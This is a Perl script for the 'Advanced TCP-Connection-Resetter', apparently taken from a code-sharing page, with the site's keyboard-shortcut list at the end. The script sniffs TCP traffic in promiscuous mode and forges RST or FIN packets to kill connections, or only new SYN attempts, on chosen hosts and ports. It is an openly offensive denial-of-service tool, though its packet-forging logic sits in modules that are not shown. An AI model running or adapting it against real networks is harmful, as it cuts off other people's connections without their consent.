📄 easterrst.pl
字号:
#!/usr/bin/perl# Advanced TCP-Connection-Resetter## Autor: stefan@krecher.de# TheMidget## Lizenz: GPL## Heavily updated by Bastian Ballmann [bytebeater@crazydj.de]## Last Update: 28.11.2002###############################################################################[ Loading Modules ]###use path::config; # Checking configuse path::hijack; # Hijacking stuffuse Getopt::Std; # Parsing parameteruse Net::PcapUtils; # Sniffin around###[ MAIN PART ]#### User needs helpif($ARGV[0] eq "--help"){ &help();}# Starte die GUI Versionif($ARGV[0] eq "--gui"){ require "easterrst-gui.pl";}else{# Parsing parametergetopts('h:c:p:i:t:srf',\%args);&start(%args);}###[ Subroutines ]#### Start the processsub start{ my %args = @_;# Create a new config object $cfg = config->new();# Config verarbeiten $cfg->check(%args);# Achtung Werbung!!! =)unless($ARGV[0] eq "--gui"){ &about();}# Target und connection gleichzeit als Parameter angegebenif( (defined $args{'h'}) && (defined $args{'c'}) ){ &help('toomuch');}# Reset via FIN?if($args{'f'}){ $reset_flag = "fin";}else{ $reset_flag = "rst";}# Reset only SYN packets?if($args{s}){ $reset_syn = 1;}else{ $reset_syn = 0;}# GUI neu zeichnenif($ARGV[0] eq "--gui"){ $result->insert(end," * Started RST deamon\n"); $top->update();}# Create a pcap expression$pcap = $cfg->pcap();if($pcap ne ""){ $pcap .= "and tcp";}else{ $pcap = "tcp";}print "\n Sniffing $pcap on " . $cfg->get_device . "\n";if($reset_syn){ print " Resetting only SYN packets with $reset_flag packets\n\n";}else{ print " Resetting all packets with $reset_flag packets\n\n";}# Sniffen!!! Gesundheit =)Net::PcapUtils::loop(\&process_pkt, PROMISC => 1, FILTER => $pcap, DEV => $cfg->get_device );}# Funktion "process_pkt($arg, $hdr, $pkt)" wird f黵 jedes# eingefangene Paket aufgerufensub process_pkt { my($arg, $hdr, $pkt) = @_;# GUI neu zeichnenif($ARGV[0] eq "--gui"){ $top->update();}# Create a hijack object?if($connection){ $connection->update($pkt); }else{ $connection = hijack->new($pkt);}# Ist das Packet ein RST Packet?# Wir resetten kein RST, wir sind ja nicht bloed! =)unless($connection->check_flag($pkt,"rst")){ # Sollen nur SYN Pakete resettet werden? if($reset_syn) { # Hat das Paket das SYN Flag gesetzt? if($connection->check_flag($packet,"syn")) { $connection->reset($reset_flag); } } else { $connection->reset($reset_flag); }}}# Print Usagesub help{ my $error = shift; &about();if($error eq "toomuch"){ print ">>> Please choose either target or connection!\n\n";} print ">>> Usage: $0 -f -r -s -i <device> -p <port> -h <hosts> -c <connection>\n\n"; print " -f: Reset connection via FIN packet\n"; print " -r: Reset connection via RST packet (default)\n"; print " -s: Reset only SYN packets\n"; exit(0);}# Print aboutsub about{# Achtung Werbung!!! =)system"/usr/bin/setterm -foreground green -background black -default";system"/usr/bin/clear";print "\n\n ---------:[ Advanced TCP-Connection-Resetter\n";print " ---:[ Programmed by Bastian Ballmann and Stefan Krecher\n";print " " . "-" x 55 . "\n\n";}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -